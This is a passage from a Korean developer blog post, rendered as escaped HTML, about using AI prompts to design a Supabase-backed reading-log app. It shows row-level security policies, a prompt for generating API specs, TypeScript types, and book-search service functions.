&lt;span class=&quot;token keyword&quot;&gt;ALTER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; reading_records &lt;span class=&quot;token keyword&quot;&gt;ENABLE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LEVEL&lt;/span&gt; SECURITY&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;ALTER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; memos &lt;span class=&quot;token keyword&quot;&gt;ENABLE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LEVEL&lt;/span&gt; SECURITY&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- profiles: 본인만 조회/수정&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Users can view own profile&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; profiles &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Users can update own profile&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; profiles &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;UPDATE&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- reading_records: 본인만 CRUD&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Users can manage own records&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; reading_records &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ALL&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; user_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- memos: 본인만 CRUD&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Users can manage own memos&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; memos &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ALL&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;uid&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; user_id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;-- books: 누구나 조회 가능, 인증된 사용자만 추가 가능&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;ALTER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TABLE&lt;/span&gt; books &lt;span class=&quot;token keyword&quot;&gt;ENABLE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;LEVEL&lt;/span&gt; SECURITY&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Anyone can view books&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; books &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;USING&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; POLICY &lt;span class=&quot;token string&quot;&gt;&quot;Authenticated users can insert books&quot;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; books &lt;span class=&quot;token keyword&quot;&gt;FOR&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INSERT&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;WITH&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;CHECK&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;role&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;authenticated&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;API 명세 자동 생성 — RESTful 엔드포인트 설계&lt;/h2&gt;
&lt;p&gt;Supabase는 테이블 기반으로 자동 REST API를 제공하지만, 프론트엔드에서 사용할 &lt;strong&gt;서비스 레이어의 함수 명세&lt;/strong&gt;를 미리 정의해두면 개발이 훨씬 매끄럽습니다.&lt;/p&gt;
&lt;h3&gt;API 명세 생성 프롬프트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;위 DB 스키마 기반으로 프론트엔드에서 사용할 API 함수 명세를 만들어줘.

조건:
- Supabase JS Client 사용
- TypeScript 타입 정의 포함
- 에러 처리 패턴 포함

카테고리:
1. Auth (로그인, 로그아웃, 프로필)
2. Books (검색, 등록)
3. Reading Records (CRUD, 상태 변경)
4. Memos (CRUD)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;생성된 TypeScript 타입 정의&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// types/database.ts&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ReadingStatus&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;want_to_read&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;reading&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;finished&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MemoType&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;note&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;quote&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;review&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Profile&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  username&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  avatar_url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  updated_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Book&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  isbn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  author&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  publisher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  cover_image_url&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  page_count&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  published_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  description&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ReadingRecord&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  user_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  book_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  status&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ReadingStatus
  start_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  end_date&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  rating&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  updated_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  book&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; Book &lt;span class=&quot;token comment&quot;&gt;// join 시&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Memo&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  user_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  book_id&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  content&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  page_number&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;number&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;
  memo_type&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; MemoType
  created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
  updated_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;서비스 함수 명세 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// services/books.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; supabase &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Book &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/types/database&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ISBN으로 책 검색 (외부 API)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;searchBookByISBN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;isbn&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Book &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;// 1. 먼저 DB에서 검색&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;books&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;isbn&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; isbn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data

  &lt;span class=&quot;token comment&quot;&gt;// 2. DB에 없으면 알라딘 API로 검색 후 DB에 저장&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; bookInfo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchFromAladinAPI&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;isbn&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;bookInfo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; newBook&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;books&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bookInfo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;single&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; newBook
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 제목으로 책 검색&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;searchBooksByTitle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;query&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Book&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; error &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;books&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;ilike&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;title&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;query&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;error&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; error
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
